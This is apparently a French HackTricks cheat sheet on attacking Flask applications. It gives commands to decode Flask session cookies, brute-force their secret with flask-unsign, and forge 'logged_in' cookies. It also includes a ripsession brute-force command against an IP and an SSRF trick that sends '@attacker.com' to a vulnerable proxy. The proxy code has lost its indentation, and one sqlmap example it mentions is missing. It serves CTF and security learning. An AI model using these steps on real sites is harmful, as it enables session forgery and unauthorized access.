Flask

Reading time: 3 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Probablement, si vous participez à un CTF, une application Flask sera liée à SSTI.

Cookies

Le nom de session de cookie par défaut est session.

Décodeur

Décodeur de cookies Flask en ligne : https://www.kirsle.net/wizards/flask-session.cgi

Manuel

Obtenez la première partie du cookie jusqu'au premier point et décodez-la en Base64.

bash
echo "ImhlbGxvIg" | base64 -d

Le cookie est également signé à l'aide d'un mot de passe

Flask-Unsign

Outil en ligne de commande pour récupérer, décoder, forcer par brute force et créer des cookies de session d'une application Flask en devinant les clés secrètes.

Client Challenge

bash
pip3 install flask-unsign
bash
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Brute Force

bash
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

Signature

bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Signature en utilisant des versions anciennes

bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

Outil en ligne de commande pour effectuer des attaques par force brute sur des sites web en utilisant des cookies créés avec flask-unsign.

GitHub - Tagvi/ripsession: A command line tool to brute-force websites using cookies crafted with flask-unsign.

bash
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

Cet exemple utilise l'option eval de sqlmap pour signer automatiquement les charges utiles de sqlmap pour Flask en utilisant un secret connu.

Proxy Flask pour SSRF

Dans cet article, il est expliqué comment Flask permet une requête commençant par le caractère "@":

http
GET @/ HTTP/1.1
Host: target.com
Connection: close

Dans le scénario suivant :

python
from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

Pourrait permettre d'introduire quelque chose comme "@attacker.com" afin de provoquer un SSRF.

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks